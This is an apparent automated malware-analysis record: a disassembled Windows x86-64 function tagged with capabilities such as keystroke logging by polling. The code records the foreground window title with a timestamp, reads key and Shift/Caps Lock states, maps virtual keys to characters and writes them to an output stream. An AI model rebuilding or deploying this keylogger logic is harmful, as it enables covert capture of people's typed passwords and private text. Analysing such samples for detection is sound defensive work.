Function at 0x140001f00
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov ebx, ecx
xor esi, esi
mov dword [rsp + 0x40], esi
xor edx, edx
mov r8d, 0xf8
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x14000797c]
mov qword [rsp + 0x70], rax
lea rax, [0x1400078b0]
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x40], 1
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x70], r15
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x10], rsi
mov dword [rbp - 8], esi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rdi, rax
test rax, rax
je 0x1400020d8
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov rsi, rax
mov r8d, 0x100
lea rdx, [rbp + 0xb0]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rcx, [rbp + 0xb0]
lea r9, [0x14000bc00]
sub r9, rcx
nop
movzx r8d, byte [rcx]
movzx eax, byte [rcx + r9]
sub r8d, eax
jne 0x140002035
inc rcx
test eax, eax
jne 0x140002020
test r8d, r8d
je 0x1400020d8
lea r8, [rbp + 0xb0]
mov edx, 0x100
lea rcx, [0x14000bc00]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
lea r9, [rsp + 0x48]
lea r8, str._FT_X_z
mov edx, 0x40
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rdx, str._n_n_Window:
lea rcx, [rbp - 0x80]
call fcn.140003ee0
mov rcx, rax
lea rdx, [rbp + 0xb0]
call fcn.140003ee0
mov rcx, rax
lea rdx, str.___at
call fcn.140003ee0
mov rcx, rax
lea rdx, [rbp + 0x70]
call fcn.140003ee0
mov rcx, rax
lea rdx, [0x140007790]
call fcn.140003ee0
mov rdx, qword [0x14000bbf0]
mov rax, qword [rdx + 8]
mov r8, rdx
movzx r9d, byte [rax + 0x19]
test r9b, r9b
jne 0x14000210a
mov rcx, rax
cmp dword [rcx + 0x20], ebx
jge 0x1400020fe
mov rcx, qword [rcx + 0x10]
jmp 0x140002104
mov r8, rcx
mov rcx, qword [rcx]
cmp byte [rcx + 0x19], 0
je 0x1400020f3
cmp byte [r8 + 0x19], 0
jne 0x140002117
cmp ebx, dword [r8 + 0x20]
jge 0x14000211a
mov r8, rdx
mov r14d, 0x1000
cmp r8, rdx
je 0x140002183
test r9b, r9b
jne 0x140002147
nop word [rax + rax]
cmp dword [rax + 0x20], ebx
jge 0x14000213b
mov rax, qword [rax + 0x10]
jmp 0x140002141
mov rdx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x140002130
cmp byte [rdx + 0x19], 0
jne 0x140002175
cmp ebx, dword [rdx + 0x20]
jl 0x140002175
lea r8, [rdx + 0x28]
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x140002163
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp - 0x80]
call fcn.1400046c0
jmp 0x1400021f6
lea rcx, str.invalid_map_K__T__key
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
movzx edi, ax
and dil, 1
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test r14w, ax
jne 0x1400021c8
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
test r14w, ax
jne 0x1400021c8
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
test r14w, ax
je 0x1400021cc
xor dil, 1
mov r8, rsi
mov edx, 2
mov ecx, ebx
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
test dil, dil
jne 0x1400021ea
movsx ecx, al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
movzx edx, al
lea rcx, [rbp - 0x80]
call fcn.1400040c0
call fcn.140001a70
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x140007990]
movdqu xmmword [rsp + 0x58], xmm1
mov byte [rsp + 0x48], 0
mov dword [rsp + 0x40], 5
movups xmmword [rsp + 0x20], xmm0
mov ecx, dword [rbp - 8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140002250
mov rax, qword [rbp - 0x38]
mov r8, qword [rax]
test r8, r8
je 0x140002250
mov rax, qword [rbp - 0x58]
mov rdx, qword [rax]
cmp r8, qword [rbp - 0x10]
cmovb r8, qword [rbp - 0x10]
sub r8, rdx
jmp 0x140002281
test cl, 4
jne 0x140002277
mov rax, qword [rbp - 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x140002277
mov rax, qword [rbp - 0x60]
mov rdx, qword [rax]
mov rax, qword [rbp - 0x28]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x140002281
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x20]
test rdx, rdx
je 0x140002291
lea rcx, [rsp + 0x48]
call fcn.140003d50
nop
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
lea rcx, [0x14000b0e0]
call fcn.1400046c0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400022f0
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, r14
jb 0x1400022eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053ec
lea rcx, [0x14000b0e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x140007990]
movdqu xmmword [rsp + 0x58], xmm1
mov byte [rsp + 0x48], 0
mov dword [rsp + 0x40], 0x13
movups xmmword [rsp + 0x20], xmm0
mov ecx, dword [rbp - 8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140002352
mov rax, qword [rbp - 0x38]
mov r8, qword [rax]
test r8, r8
je 0x140002352
mov rax, qword [rbp - 0x58]
mov rdx, qword [rax]
cmp r8, qword [rbp - 0x10]
cmovb r8, qword [rbp - 0x10]
sub r8, rdx
jmp 0x140002383
test cl, 4
jne 0x140002379
mov rax, qword [rbp - 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x140002379
mov rax, qword [rbp - 0x60]
mov rdx, qword [rax]
mov rax, qword [rbp - 0x28]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x140002383
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x20]
test rdx, rdx
je 0x140002393
lea rcx, [rsp + 0x48]
call fcn.140003d50
nop
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400046c0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400023f3
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, r14
jb 0x1400023ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400023ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053ec
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r15
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x78]
call fcn.140002b50
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor eax, eax
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140005080
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret